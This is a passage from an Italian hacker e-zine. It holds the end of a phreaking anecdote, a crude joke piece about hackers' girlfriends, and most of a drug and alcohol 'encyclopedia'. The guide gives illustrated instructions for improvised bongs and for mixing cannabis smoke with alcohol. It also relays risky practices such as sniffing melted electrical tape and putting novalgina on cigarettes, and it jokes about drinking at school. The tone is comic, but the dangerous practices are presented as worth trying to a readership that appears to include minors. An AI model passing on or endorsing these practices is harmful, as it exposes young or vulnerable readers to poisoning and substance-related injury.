**: Who are you? //cazzo ero in chat con il sysop, beh facciamo i
//lame che fa sempre bene :)
BB: I'm an Italian Boy //come la maestra insegna :)
**: You can't stay here
BB: What's the matter?
What's this number? //bugia bugia eh eh ;)
**:You've got our number
but we've got your //un paio di palle, ci mettete 4 mesi ad avercelo,
fottutti yankees.
BB:Uhm, C'mon tell me.
DISCONNECTED.
Riprovai a connettermi, ma niente da fare, la loro linea era sempre okkupata.
Presi una caga terribile, zippai tutti i docs, logs e minchiate varie e
trasferii tutto su disketto.
Formattai a basso livello e buonanotte la secchio.
Dopo quel caso singolare, nessuno suono' alla mia porta (anche se la finanaza
non suona mai) anche se ripensandoci non avevo commesso nulla, visto che non
ero riuscito ad entrare nel sistema e quindi non mi potevano toccare, o forse
avevano avuto davvero il mio numero. Bah.
Bene l'articolo e' finito, non voglio insegnare niente, porto solo la mia
esperienza, l'esperienza di berry che non esiste e quindi tutto questo
articolo e' stato inventato di sana pianta da un algoritmo creato per BFi da
un gruppo di scienziati verdi, con i DTMF che gli escono dal sedere quando
scorreggiano e provengono dalla galassia accanto alla nostra. (come dire,
vicini di casa).
Gli alieni salutano e ringraziano i seguenti avatar terrestri:
\sPIRIT\, ZioMik, gokurello, Vanadio, MaNdrAkE, SMaster, Cavallo, JmK,
Dialone, tutto il s0ftpr0ject. Un salutone al Bitmap, Dupree's Paradise,
tutto l'Ftn che mi conosce e a Inf0$tr@d@ (dai su, pianta una cabina sotto
casa mia che mi diverto).
Pace e Bene
[Black "alien algorithm" Berry]
---------------------------[ LA RAGAZZA DELL'HACKER ]-------------------------
---[ GUiDA PRATiCA SU C0ME FARSi LARG0 TRA PHF, PC, R00T E CAZZATiNE VARiE ]--
------------------[ DEi V0STRi MASCHiETTi-HACKER PREFERiTi ]------------------
----------------------------------[ Sh4mp00 ]---------------------------------
Cazzo che freddo!
Lo so che non ve ne importa, ma per scrivere st'articolo devo stare in una
stanza congelata.... si' congelata ma almeno non piccola, impolverata,
semibuia, impataccata dal fumo e zeppa di cdrom e floppy come quella di un
hacker....... :) (ogni riferimento a persone realmente vissute e' PURAMENTE
CASUALE :) .
Beh..... "Gli hacker trovano anche il tempo per avere una ragazza?"
(chiederete voi con gli occhioni sgranati)
Rispostona: Beh certo scusa!!!!! Se poi possono unire dovere e piacere (uscire
e, top dei top, interagire e condividere risorse con un essere di sesso
opposto totalmente ignorante di computer in genere, serie "Internet???? eh???
Interche? mo cus'a'l'e'???----e scancherare su quei marghingegni che ogni
tanto fanno beep beep) beh allora per loro, ma solo per loro, e' il massimo.
Infatti spesso dopo le prime settimane, durante le quali la povera ignara
fanciulla si convince che il suo maschietto di turno sia uno che ci sa a
pacchi di tante cose (quali non le capisce bene, essendo termini a lei
sconosciuti...... tipo spoofing e robe simili.... cmq il tipo ci sa.... e
magari non solo di quello.... ehm ehm ehm...) e lascia andare i propri
firewall a donnine di malcostume...beh.... si ritrovera' catapultata nello
stanzino sopra descritto, dove (ancora non lo sa) dovra' stare impalata (in
senso di seduta immobile, ci mancherebbe altro...) a fissare il suo uomo,
fino a quel giorno grande amante-seduttore-porco-maniaco-depravato che
scanchera per ore e non la caga se non per dirle "Oh prendimi un caffe'"
"Oh esci a comprare le sigarette" (spesso i primi tempi tali frasi sono
accompagnate da un "Per piacere, amore"..... ma solo i primi tempi..... non
vi illudete.....).
E' allora che la fanciulla inizia ad attacarsi di piu' al suo uomo.... perche'
lo rivuole indietro... quel canchero di ferro non puo' averla vinta su di
lei... una figona in carne e ossa alta 1,76 misure 96-62-86 lunghezza gambe
cm. 98, viso da bambola e occhi da cerbiatto........
.......beh ma sherziamo???? nemmeno se col PC avessero regalato al suo ometto
il tappetino per mouse tridimensionale con sopra batman ci sarebbe
competizione!!!
Pausa..........Marlboro ma soprattutto... mboh... devo pensare a chi cazzo e'
la tipa che ho descritto, mi ricorda qualcuno...... mmh casomai se mi viene in
mente vi dico chi e'....
Rieccomi..... dopo svariate pause.....
Allora... visto che non mi e' venuto in mente chi e' la tipa (anche se mi
sembra di averla incrociata per caso stamattina... ma non sono poi cosi'
sicura che fosse lei... avvolta in un pigiama di pile, con i calzettoni di
lana e tutta spettinata...) ....continuiamo.......
La fanciulla di cui sopra all'inizio e' un po' spaesata e tenta di mettere a
frutto tutte le svariate tecniche imparate durante la sua breve, seppur
splendida esistenza e tenta di usare TUTTE le armi, lecite e illecite, che
mammina, madre natura, ma soprattutto parrucchiera, estetista e nei casi piu'
estremi chirurgo plastico le hanno fornito, ottenendo pero' scarsi risultati.
Allore la poverina giochera' la sua ultima carta: combinarne di tutti i colori
al povero malcapitato hacker, che si ritrovera' a subire , nel giro di pochi
giorni, angherie tali da non essere augurate nemmeno ai peggiori lamer della
storia della rete. Infatti la pulzella, stranamente, iniziera' a soffrire di
perdite d'equilibrio, proprio quando, portando te' iperzuccherato, caffe' o
cioccolato al suo fidanzato (un buon metodo per farlo sklerare e favorire
l'insorgere del diabete.... qui si gioca di tattiche sottili.... facendo la
fidanzata premurosa che rinfocilla il suo uomo allo stremo, dopo 437466234
ore ininterrotte di hacking) si trova vicina alla povera tastiera gia'
ricolma di ciccate delle sue Marlboro che provocherebbero ustioni di primo
grado ad un essere umano, figuratevi ad un pezzo di plastica.., oppure
costringendo il proprio maschietto (con la scusa che l'ex lo faceva sempre...
e qui, l'uomo ferito nell'orgoglio non puo' tirarsi indietro ------>
bastardata con bollino di qualita', garantito che funzia.... e lo so che nel
vostro profondo mi date ragione, percio' non fate quelle facce da hacker
superduri perche' alla fine basta un....(ehm ehm ehm)... *nulla* per ridurvi
in questo stato :) ) a fare FULL MONTY con in sottofondo Roadhouse Blues dei
Doors (p.p.c.)*, sghignazzando come una pazza all'idea che uno che fa tremare
la rete intera possa ridursi a certe bassezze quasi pietose.... lamentandosi
alla fine perche' lo spogliarello era integrale, ma non c'era niente che non
avesse gia' visto e che percio' poteva risparmiarselo....
Cosa??? Si chiama vendetta????? Ma DioBit!!!!! Cosa deve fare la fanciulla?
Distruggergli il PC??? Tanto se ne comprerebbe uno nuovo.... o glielo
darebbe un suo amico.... e in piu' la vendetta... sottile e ben studiata, e'
quasi meglio dell'orgasmo....... o almeno dura di piu' e non ti lascia in uno
stato di rincoglionimento totale, che verrebbe a svantaggio
dell'elaborazione-bastardata (metodo femminile sorto per contrastare
l'elaborazione dati degli aggeggi dei ferro tanto usati dagli ometti).
"Ma ci sono vantaggi a stare con un hacker???" potreste chiedermi, se avete
avuto il coraggio e la pazienza di seguirmi fino a qui nelle mie folli
elucubrazioni. Certo! Ad esempio??? Beh....si... volete qualche esempio????
-costo manicure ridotto a zero..... provate una sera ad uscire in compagnia
di 10 hacker (maschi) che parlano solo di quella roba dai nomi impronunciabili
(tanto da domandarsi se anche loro non sparino un po' di roba a caso)...
beh.... vedrete che in 20 millisecondi riuscirete a fare fuori le voste
splendide meravigliose unghie che dopo 20 anni di mangiamenti e patimenti vari
vi eravate fatti crescere...... un bel risparmio no????
-Se siete stanchi di andare a scuola e avete di voglia di un po' di vacanza
nulla di meglio che stare tutte le sere e tutte le notti a guardare un hacker
che scanchera sul suo computer... a parte i fastidiosi reumatismi (ma quelli
con l'eta' vi verrebbero comunque, percio' chevvifrega) beccherete una bella
influenza... ed in piu' non dovrete piu' spendere una lira per pub, discoteche
(rigorosamente punk, ovvio) e divertimenti vari.. suvvia.. e' cosi' bello
passare tutti i venerdi', sabato sera e domenica pomeriggio su un pc che non
ve ne renderete nemmeno conto....
Ed eccoci all'argomento che, lo so, maniaci depravati, vi interessa di piu'....
"Com'e' fare sesso con un hacker???"
Quando riusciremo a staccarne uno dal suo PC potremo rispondervi.... fino ad
ora non vi sono testimonianze attendibili di fanciulle che siano riuscite
nell'arduo compito, ma attendiamo speranzosi :).
Ora scusate ma devo tornare dal mio acaro (si' si' acaro avete letto bene...
in mezzo a tutta quella polvere cos'altro potrebbe essere???) percio' devo
salutarvi.
ByEzZZZzzzZZz
Sh4mp00
*: provare per credere
---------------------[ TRECCANNE: SiAM0 FU0Ri 0 N0? V.3 ]---------------------
---------------------------------[ Dr_Slump ]---------------------------------
Dr.Slump & Friends present:
Treccanne a.k.a. Siamo fuori o no? v.3
(the definitive alkoolik 6 & drugs encyclopedia)
INDICE
Capitolo 1 - L'inizio
1.1 Disclaimer *NEW*
1.2 Introduzione by Dr. Slump *NEW*
1.3 Dedica by Dr. Slump *NEW*
1.4 Materiale usato durante la stesura del testo by Dr. Slump *NEW*
Capitolo 2 - Storie di vita quotidiana
2.1 Dialogo tra pIGpEN & Dr. Slump by pIGpEN & Dr. Slump
Capitolo 3 - IL BOUNTY, IL TITANIC E IL GALEONE
3.1 Metodo Casareccio by Dr. Slump & Nello|Z
3.2 Metodo simile al precedente ma piu' efficace by EleSSaR
3.3 Pipa ad acqua/bong/nargyle' by Dr. Slump & EleSSaR
3.4 Consigli Generali by EleSSaR
Capitolo 4 - ANGOLO DELLE RICETTE
4.1 Minestra di semi di Canapa (per 12 persone) by Dr. Slump
4.2 Zuppa di cipolle by Dr. Slump
4.3 Salsa di semi di Canapa by Dr. Slump
4.4 Torta a sorpresa by Elessar
4.5 Mele cotte by Dr. Slump
4.6 Drago Verde by EleSSaR *UPDATE*
4.7 Caffe' al Fumo by Dr. Slump
4.8 Te' galattico by Dr. Slump
4.9 Banane usate in modo diverso by pIGpEN & Dr. Slump
4.10 Burro alla marijuana *NEW*
Capitolo 5 - PORKERIE VARIE
5.1 Il carciofo by SMaster e DaMaDaFaKa *UPDATE*
5.2 Il Torrone by EleSSaR
5.3 Bomba di profondita', Sottomarino e Birra alla Pompa by Dr. Slump
*UPDATE*
5.4 Gin: meglio della nutella? by Dr. Slump
5.5 Olio extra vergine by Dr. Slump
5.6 Nitroglicerina by L3ChucK
5.7 Estate tempo di cocktails by Dr. Slump
5.8 Una bevanda mito. pekkato che. by Dr. Slump *NEW*
Capitolo 6 - L'Angolo dei Consigli
6.1 Le Cartine by EleSSaR
6.2 La Birra by Dr. Slump *NEW*
6.3 Metodi post-sbronza by Se ve lo dico non ci credete (tratto da
Maxim) *NEW*
6.4 Consigli per un capodanno migliore by Dr. Slump *NEW*
Capitolo 7 - pIGpEN e le sue Bevande
7.1 BiBiTa da prendere di mattina by pIGpEN *NEW*
7.2 pIG B0MB da prendere di mattina by pIGpEN *NEW*
7.3 pIG CLASSiC B0MB solo di mattina!!! By pIGpEN *NEW*
7.4 Te' caldo con rhum by pIGpEN *NEW*
7.5 Caffe' in tazza by pIGpEN *NEW*
7.6 Eggnog dello zio ToM by pIGpEN *NEW*
7.7 Grog by pIGpEN feat. LucasArts ;-) *NEW*
7.8 Punch al Caffe' by pIGpEN *NEW*
Capitolo 8 - EleSSaR^ e l'origami.
8.1 Introduzione e precisazioni by EleSSaR^ *NEW*
8.2 L' Alabarda Spaziale by EleSSaR *NEW*
8.3 La bandiera by EleSSaR^ *NEW*
8.4 The Castles by EleSSaR^ *NEW*
Capitolo 9 - raDIOcane
9.1 Sbroccatamente si vive la notte - Flaminio Maphia
9.2 La Porra - Sangue Misto
9.3 Frases by Artisti Vari *NEW*
Capitolo 10 - La fine
10.1 Apoteosi finale *NEW*
10.2 Ringraziamenti Reprise *NEW*
10.3 Come Contattarmi *NEW*
Capitolo 1 - L'INIZIO
1.1 Disclaimer by Dr. Slump
Ricordate sempre che tutte le ricette, tecniche e altre cose descritte in
questa guida potrebbero essere dannose per la vostra salute, o ancora meglio
potrebbero essere illegali, quindi usatele a vostro rischio e pericolo.
In nessun caso io e gli altri che hanno collaborato ci riteniamo responsabili
per quello che abbiamo descritto e se deciderete di provare qualcosa gli unici
responsabili delle possibili conseguneze sarete VOI! Chi non avesse ben chiaro
questo concetto e' pregato di interrompere la lettura QUI! Si vieta inoltre di
distribuire questa guida o parti di questa, separatamente da Butchered From
Inside.
1.2 Introduzione by Dr. Slump
Cazzo, ma siete ancora tutti qui? Ancora non e' morto nessuno? Che dire...
complimenti, continuate cosi' e vedrete che sicuramente non arriverete a
trent'anni.
Questa terza parte e' stata scritta sopratutto per quelli che non hanno letto
i precedenti numeri, in quanto contiene tutti i precedenti articoli rivisti e
corretti; tranquilli non mi sono dimenticato dei "vecchi" lettori, che potranno
trovare numerose nuove chicche con le quali fare esperimenti sul proprio corpo.
- Riassunto delle puntate precedenti -
E' stata dura, ma siamo sopravvissuti, siamo giunti sani e salvi a questa terza
parte di Siamo fuori o no? Vi ricordo che ci siamo salvati dall'affondamento
del Titanic e dalla potenza devastante di Godzilla. E ora direte voi? Be ora
il gioco comincia a farsi veramente duro, si avvicina l'Armageddon (si' ma
quella grandissima fika di Liv Tyler dove cazzo sta? SMaster cazzo mi avevi
promesso che se scrivevo la terza parte mi avresti fatto un regalo giusto?
Be cazzo voglio Liv Tyler!). La terra sta per essere distrutta da un asteroide
di gigantesche dimensioni e noi? Siamo forse insieme a Bruce Willis e Soci
pronti per partire per lo spazio? Naaaaaaaaa noi siamo dentro il nostro Pub di
fiducia, a prenderci quella che forse potrebbe essere la nostra ultima sbornia,
in compagnia della Maria e delle sue amiche (queste in carne ed ossa of course
;-) Be che dire ancora?
Ringrazio tutti quelli che in questi mesi, incontrandomi su IRC, si sono
complementati con me promettendomi di offrirmi una birra nel caso ci fossimo
mai incontrati (raga ma sorelle, cugine e amiche non le offre mai nessuno?).
Altri ringraziamenti vanno a tutti quelli che hanno collaborato alla stesura
di questa guida:
* pIGpEN ---> cazzo 6 + fuori di me!
* Nello|Z ---> fatte vivo!
* EleSSaR ---> come sopra!
* SMaster ---> 6 il migliore (con pronuncia modello Ristorante Balubino...)
* DaMaDaFaKa ---> SMaster salutamelo ;-)
* Le_Chuck ---> pIGpEN mi ha inviato un simpatico articolo sul Grog...
Ricordo come sempre che chi vuole partecipare con i suoi articoli alla stesura
di questa guida puo' farlo inviando il materiale a dr.slump@thepentagon.com
Be ora vi lascio alla lettura di questa guida e vi do appuntamento alla sua
prossima "revisione".
1.3 Dedica by Dr. Slump
Come da migliore tradizione di ogni scritto che si rispetti volevo informarvi
che anche questa guida e' dedicata a una persona in particolare che non sara'
uno di famiglia come accade nei libri di Ken Follet ma bensi' alla piu' fika
del momento. Prendere questa decisione non e' stata cosa facile, c'erano in
ballo nomi del calibro di Gwineth Paltrow, di Cameroon Diaz, di Jennifer Lopez,
della gia' citata Liv Tyler, ma alla fine la mia scelta e' caduta sulla troppo
fika: NATALIE IMBRUGLIA. A lei e' dedicata questa guida.
1.4 Materiale usato durante la stesura del testo by Dr. Slump
Come la dedica anche questa e' una tradizione che deriva passo passo dal piu'
famoso stile pIGpEN. Inutile dirvi che questo testo e' stato scritto in
ufficio durante svariate pause pranzo e quindi il materiale usato sono panini
e cocacole, ma analizziamo meglio:
- Svariate scatolette di tonno Gs da 160gr.
- Svaraiate Mozzarelle Pastorella (Lit. 760 un affare) sempre comprate da Gs.
- Svariate rosette
- Svariati Menu' completi Mac Donald (ringrazio Dyd per gli sconti e buoni
omaggio, e la "cassiera" Elisa per i numerosi panini a scrocco)
- Svariati pezzi di pizza con mozzarella
- Svariati litri di acqua e Coca Cola
- Svariati (troppi) pakketti di sigarette mod. Galuoises Rosse
Vi ricordo infine che la musica di sottofondo e' stata rigorosamente Hip Hop
Italiano.
p.s.: se qualcuno che legge questa guida lavora da Mac Donald e volesse
inviarmi sconti\buoni omaggio e' pregato di contattarmi alla mia e-mail :))
Capitolo 2 - STORIE DI VITA QUOTIDIANA
In questa sezione troverete vari racconti di vita quotidiana, di storie di
tutti i giorni che possono capitare anche a voi. Naturalmente ogni
riferimento a persone, cose, luoghi e' puramente casuale. Tutto quello che
troverete scritto in questa sezione e' frutto unicamente della nostra
"fantasia" emersa grazie a non so quali sostanze bevute o fumate. In queste
storie di vita quotidiana troverete numerosi spunti interessanti e consigli
che potrete far vostri e usare cosi' quando cazzo vi pare. Vi lascio alla
lettura.
2.1 Dialogo tra pIGpEN & Dr. Slump by pIGpEN & Dr. Slump
Comincerei questa guida con un dialogo tra me e il mitico pIGpEN... leggete
con calma gente vedrete che apprenderete molte cose, ma mi raccomando non
le fate perche' c'e' il rischio che dopo sbroccate di brutto e vi sentite
male (N.d.Lettore: allora scusa perche' cazzo stai scrivendo questa guida,
per sport?) Beh che il viaggio abbia inizio...
pIGpEN ------> Slump hai mai provato a miskiare il Jack con il latte e a
metterci dentro un uovo? Non so io NO pero' penso che faccia nausea....
Provalo tu perche' io ho gia' prestato troppo il mio corpo ad esperimenti
chimici...
Dr_Slump ----> No tocca che prima o poi ci provo, certo che pero' sprecare
del jack daniel's cosi' e' proprio un delitto, secondo me il jack va bevuto
secco senza ghiaccio e senza nulla, il retrogusto che ti lascia in bocca e'
indimenticabile... comunque mischiare il latte con alcolico non dovrebbe
essere affatto male solo che invece del latte io userei la panna che ne
pensi? E poi sbaglio o la crema whisky si basa sullo stesso concetto (se ho
detto una stronzata scusatemi, sono un povero ignorante che beve parecchio
e basta e non si interessa di come funziona il mondo).
A proposito di creme, consiglierei a tutti i lettori che ci stanno leggendo
la crema al limoncello. Tranquilli potete berne a quantita' industriali, si
regge benissimo!
Visto che ci sono vi do anche un paio di consigli (sempre per i nostri
affezionati lettori, pIG sono certo che tu queste cose le sai gia' tutte).
Quando decidete di bere parecchio, ma di non andare fuori di brutto, seguite
queste direttive (chiamiamole cosi...):
1) Non mischiate mai troppi alcolici o bevande differenti.. piu' mischiate
piu' vi sentirete male (N.d.LettorePiuFuoriDiNoi: allora fatelo!)
2) Ricordatevi che la sbornia da birra e' quella che fa piu' male in assoluto
(NdSlump: corregetela la birra... corregetela che e' piu' buona!)
3) Per bere parecchio e reggere piu' a lungo, tra una bottiglia e l'altra
bevete anche un po' d'acqua.
Siccome sono sicuro che molti di voi non seguiranno i consigli di cui sopra e
vorranno andare fuori di brutto; ecco qualche consiglio post-sbornia:
1) Il piu classico caffe'
2) Se volete vomitare bevete caffe' e limone
3) Se volte sentirvi meglio (classici dolori di fegato) butatte giu' in gola
due uova con tuorlo crude (so che vi viene da vomitare al sol pensiero, ma vi
assicuro che dopo vi senirete meglio!)
pIGpEN ------> Vabbe' non so dove cazzo l'avevo visto scritto che c'e' gente
che in mancanza di maria fa bollire il bianco della buccia di banana e se
lo fuma .... sisi vi passero' il file...
Dr_Slump ----> Pig io cosi' come tutti i lettori di questa guida (cazzo ma
non facevo cracking io? E tu pIG hacking? Forse ci siamo bevuti pure il
cervello...) attendiamo con impazienza questo file anche se sono sicuro che
molti di voi ci proveranno lo stesso. Quindi ragazzi un po' di impegno e
usate un po' di immaginazione. pIG scusa poi mi spieghi perche' i nostri
lettori alla mancanza di una ragazza di nome Maria dovrebbero fare cio'.
Misteri della vita. E pensare che io consoco gente che in mancanza della
Coca-Cola per andare fuori (nel senso di uscire da casa naturalmente)
prende del nastro isolante nero, ne strappa un bel pezzo, lo accartoccia,
lo mette su un cucchiaino da caffe' e dopo con un accendino comincia ad
arroventare il cucchiaino in modo da far squagliare il nastro di cui sopra
e dopo si sniffa il tutto...
### Be ragazzi che ve ne pare fino ad adesso? Non male vero? Un, due, tre
consigliucci carini ve li abbiamo dati, prima di continuare una breve pausa
scherzosa va ad opera del nostro pIGpEN... dopo si riprende alla grande,
quindi leggete queste poche righe... ###
pIGpEN ------> Se vuoi veramente scandalizzare quelle merde che hai in classe
fai come me e Lele, prenditi una bustina trasparente, riempila di zucchero
a velo e in presenza di loro prendi un po' di quella polverina magica (lo
zucchero) e comincia a leccarla e dopo aggiungici vicino una frase del tipo
"Roba pura", non sniffarla!... Altrimenti i tuoi polmoni saranno una
pattumiera. L'anno scorso lo facevamo durante l'ora di economia, poi
l'abbiamo ripetuto quest'anno a Natale ed erano tutti che ci hanno beccati
per matti....
Dr_Slump ----> Beh che dire... scherzetto ingenuo e divertente da fare in
classe, se volete io ve ne consiglio un altro... Avete presente il tabacco e
le cartine sfuse che vendono in tutte le tabaccherie? Beh andate a rollare
qualche sigaretta in pizzeria... il mondo e' bello perche' e' vario... di
gente ignorante ce n'e' una cifra e non sanno che esiste anche il tabacco
sfuso per farsi le sigarette da soli... Noi eravamo in pizzeria, rollavamo
queste sigarette, dopo 5 minuti arriva il proprietario chiedendo se eravamo
pazzi a farci le canne in un luogo pubblico e noi "veramente stiamo solo
fumando delle comunissime sigarette". Come si dice in certi casi? Beata
l'ignoranza.
pIGpEN ------> Comunque se volete proprio passar una mattina acida non prendete
stronzate compratevi un pacchetto di 20 compresse di integratore
multivitaminico all'arancia (consiglio marca VitaSi), mettetevi una
compressa intera in bocca e non bevete niente... Piu' acidi di cosi' non
potrete mai esserlo. Io e Lele ce ne siamo sparate in un gg 4 a testa (nella
confezione c'e' scritto 1 al gg).
Dr_Slump ----> Bella Pig.. Mi raccomando ragazzi non fate stronzate... Mi sento
scosso agitato-a agitato-a un po' nervoso-o acido come di piu' non si puo'...
Per voi in diretta da raDIO-CANE erano i Prozac+.
Cari lettori altro bel metodo per andare fuori (ad essere sincero fa venire
solo un bel malditesta) e' di mettere un po' di gocce di novalgina sul filtro
di una comune sigaretta e poi fumarsela... Poi raccontatemi, mi raccomando...
Dr_Slump ----> Certo che di gente strana in giro ce n'e' tanta, pensa che
conosco gente all'universita' che poki giorni prima degli esami comincia a
farsi di acidi per studiare di piu'... Sicurmente alla laurea ci
arriveranno con il cervello bello cotto..
pIGpEN ------> In classe mia c'e' poi uno che si prende 2 grammi al giorno di
lecitina di soia perche' dice che e' una droga intelligente, in effetti
dovrebbe essere vero, ma io vi consiglio di lasciar stare queste cazzate,
di andare in erboristeria e di comprarvi della vasopressina, se ve la
beccate...
Dr_Slump ----> Cazzo, a scrivere questa guida imparo qualcosa anche io, quando
esco dal lavoro passo all'erboristeria va... che fate ragazzi venite anche
voi?
pIGpEN ------> NON esagerate nelle dosi e prendetevi pure la solita dose di
caffeina... Nei periodi neri arrivo ai 5 caffe' nel giro di 1 ora (dalle 7
alle 8), io e Lele nel periodo in cui eravamo senza donne (praticamente
quasi sempre) ci portavamo una bottiglia a scuola e cazzo si stava
veramente bene, se devo essere onesto qualche volta e' scappata una fumatina
prima dell'ora di ginnastica, ora non si fanno piu' certe cose... Un mio
amico invece prendeva roba prima dei compiti di economia come rito...
Dr_Slump ----> Collegando l'argomento caffeina con la scuola io con il mio
compagno di banco portavo molto spesso il thermos di caffe'... Il guaio e'
che nel nostro caso il caffe' era corretto... Non male come idea e sopratutto
era insgamabile... Mentre spesso e volentieri andando in palestra (distava 1
km dall'istituto) scattava di tutto... Usate un po' di immaginazione gente,
naturalmente il classico era la lattina di birra!
pIGpEN ------> Escludo Lele da ogni canna... Lui non fuma niente....
Dr_Slump ----> Perche' noi si' Pig? Naaaaaaa..
pIGpEN ------> Nella mia zona cmq c'e' gente veramente strana, uno e' finito al
pronto soccorso perche' si e' iniettato budino, tre l'anno scorso sono morti
per quella cazzo di trielina (e porko dio chi la prende e' proprio matto!),
poi c'e' uno che va a caccia di funghi in Yugo, un altro che si e' messo a
dipingere il muro della sua cameretta mentre fumava maria...
Dr_Slump ----> Cazzo ma davvero si sono iniettati il budino? Non dirmelo che non
ci credo... Che cazzo di gente che c'e' in giro... Cazzo io conosco gente che
ha provato a fumare tutti gli ortaggi e le verdure che esistono... Un mio
amico mentre fumava maria sul suo letto (io sinceramente preferirei scoparmi
la mia amica di nome maria... ma questa e' un'altra storia...) con le penne
laser faceva i giochi di luce... Mi ha detto che era un'esperienza
bellissima...
Capitolo 3 - IL BOUNTY, IL TITANIC E IL GALEONE
Proprio dal galeone e simili e' partita l'idea per la realizzadione di questa
guida, infatti una sera stavamo tranquillamente parlando di cracking e hacking
quando SMaster mi esce fuori con questa domanda:
SMaster -----> "Dottore che ci metti tu nel galeone come alcolico?"
Dr_Slump ----> "Dove?"
E' da qui che parte la storia del galeone... molti di voi come lo conosceranno
sotto altro nome, ma in questa guida continueremo a chiamarlo cosi'. Allora,
inanzitutto c'e' da dire che il galeone consisterebbe in origine in una
particolare bottiglietta che ha due becchi: in un becco si mette la sigaretta
dalla parte del filtro, sul fondo della bottiglia si mette dell'acqua, il fumo
della sigaretta passa attraverso l'acqua raffredandosi e noi aspirando il tutto
dal secondo becco possiamo fumare tutta la sigaretta in un sol colpo.
Gia' cosi gli effetti sono sbalorditivi, siccome noi siamo ragazzacci cattivi
abbiamo sostituito l'acqua con l'alcool e le sigarette con la maria.
Non ci avete capito un cazzo? Ok provo a farvi uno schemino in ascii:
sigaretta --->\\ ||<--- aspirate da qui
\\___||_
|\\ || |
| \\ |<--- contenitore ermetico
| \\ |
|^^^\\^^|
acqua --->| || |
|_______|
3.1 Metodo Casareccio by Dr. Slump & Nello|Z
Occorrente:
1 bottiglia di coca cola vuota (per svuotarla prima consiglio di aggiungerci
un po' di rhum e due fette di limone :)
2 sigarette (o piu di una)/maria
1/2 litro di acqua/alcool (consiglio vodka!)
| |<--- aspirate il tutto da qui
| |
/ \
/ \
| |
| |
sigaretta 1 |-------|
| ----| Coca |---- <--- sigaretta 2 (il filtro sta all'interno)
\------> ----|-------|----
| |
|^^^^^^^|
| |<---- alcool (4-5 dita)
|_______|
Come potete notare questo e'un metodo che si puo' attuare a tutte le feste che
voi frequentate, sinceramente e' meno "potente" di quello successivo, ma senza
ombra di dubbio molto sbrigativo. Per il liquore vedete voi.. va bene tutto...
piu' forte e' meglio e'... da quanto dice SMaster il max e' con il jack...
anche con la vodka rulezza! Comunque ripongo fiducia in voi. Il disegnino di
cui sopra mi sembra abbastanza chiaro quindi non mi dilungo in spiegazioni.
Ah mi raccomando: per i buchi delle sigarette fate un lavoro preciso, magari
isolate il tutto con un po' di nastro adesivo. Una volta che vi siete stufati
di fumare mi raccomando non buttate il tutto ok?
3.2 Metodo simile al precedente ma piu' efficace by EleSSaR
Occorrente:
lo stesso del metodo precedente.
Prendete una bottiglia da 1 litro e 1/2 o da due litri. Accendetevi una
sigaretta (io preferisco le Gauloises Blu, ma questo non c'entra una madonna
(N.d.Slump: anche io :)) e praticate un buco laterale verso la parte bassa
della bottiglia. Il buco deve essere tale che ci si possa infilare una canna
o un bracere da bong e ci possa anche stare dentro una certa quantita' di
alcolico, a vostra discrezione. Ora vi spiego come funzia, poi deciderete
voi... Infilate la canna nel buco e tirate dal normale collo della bottiglia.
Tirate piano, in questo momento NON bisogna aspirare il fumo direttamente nei
polmoni, ma soltanto riempire il piu' possibile la bottiglia. Quando e'
riempita a sufficienza, riavvitate il tappo, tappate con un dito il buco della
bottiglia e scuotete violentemente la bottiglia per un po'. Dopodiche'
stappatela e scolatevela a collo in un sol sorso, unendo il fumo all'alcool.
| |<--- Tirate pian piano da qui senza
| | aspirare il fumo, a bottiglia piena
/ \ di fumo chiudete il tappo.
/ \
| |
| |
|-------|
| Coca |---- <---
sigaretta/ dopo avere tirato
|-------|---- levatela e bevete tutto d'un fiato
| | dal buco della sigaretta (ricordate
|^^^^^^^| di sbattere il tutto prima!)
| |<---- alcool (4-5 dita)
|_______|
N.B.: In questo momento e' lo Slump che vi parla, un'impressione personale su
questo metodo, che prima di scrivere questa guida non avevo mai provato:
SEMPLICEMENTE GRANDE...
3.3 Pipa ad acqua/bong/nargyle' by Dr. Slump & EleSSaR
Questo che trovate qui di seguito e' un metodo per costruirsi a casa la pipa
ad acqua o nargyle'. Se ne trovano anche in commercio... fate voi.
Occorente:
1 bottiglia di vetro o plastica con tappo richiudibile
3-4 penne bic
1 penna di quelle piu' large in modo da far entrare preciso il filtro della
sigaretta
Nastro isolante
\ \
\ \ ||
sigaretta ---> \ \ ||<--- aspirate da qui
\ \ ||
_||_||_
|_______|
| || || |
| || || |<--- bottiglia (e' disegnata male!)
| || |
| || |
|^||^^^^|
| || |<--- alcool
|_______|
Le penne bic servono per fare i due tubi (sigillate con lo scotch il buco che
hanno), raccordate la penna piu' grossa con la bic tramite lavoro di accendino,
anche sul tappo di plastica raccordate bene il tutto tramite accendino e
sigillate. Fumate gente fumate! Come sigarette consiglio le galuoises blu e
come alcool la vodka.
3.4 Consigli Generali by EleSSaR
- Il THC puo' essere considerato alcool-solubile: quindi se mettete alcool
nella bottiglia dove fumate la maria, dopo dovete bervi l'alcool per
forza perche' e' carico di principio attivo (sinceramente a me qualsiasi
liquido in cui e' passato del fumo fa un po' schifo qundi non lo faccio)
(N.d.Slump: Io si ;-).
- Suggerimento personale: usate l'acqua e non l'alcool e tirate + canna
possibile in un colpo solo. Il THC non e' solubile in acqua quindi potete
gettarla via tranquillamente.
- Oltre alla combinazione maria/acqua, funzionano molto bene anche con quella
alcoolico/tabacco: in quel caso non sara' necessario bere l'alcolico perche'
vi spaccheranno gia' abbastanza i vapori che vi verranno su assieme al fumo
(N.d.Slump: magari non bevetelo voi, ma qualcuno che vi sta intorno, non
buttatelo! ;-).
- Tabacco consigliato: Golden Virginia.
Capitolo 4 - ANGOLO DELLE RICETTE
In questo quarto capitolo troverete delle ricette molto particolari. Che cazzo
hanno di particolare vi starete chiedendo? Trovandosi in una guida del genere
di certo non troverete la ricetta delle Melanzane alla Parmigiana, ne'
tantomeno quella delle Lasagne quindi l'unico indizio che vi posso dare e' che
fanno male, molto male, e naturalmente non sto parlando di indigestione. Buon
Appetito.
4.1 Minestra di semi di Canapa (per 12 persone) by Dr. Slump
Ingredienti:
7 etti di semi di Canapa
7 etti di mandorle bianche
4 etti di zucchero
Mollica di pane
Brodo di carne o di pollo
Zafferano
Preparazione:
Pulire i semi di Canapa e farli bollire in acqua finche' non cominciano ad
aprirsi. Pulire e pestare le mandorle. Pestare ed amalgamare il tutto con la
mollica di pane e il brodo. Setacciare l'impasto e poi cuocere a fuoco lento,
mescolando continuamente, fino all'ebollizione. Aggiungere lo zucchero, lo
zafferano e un po' d'acqua.
4.2 Zuppa di cipolle by Dr. Slump
Ingredienti:
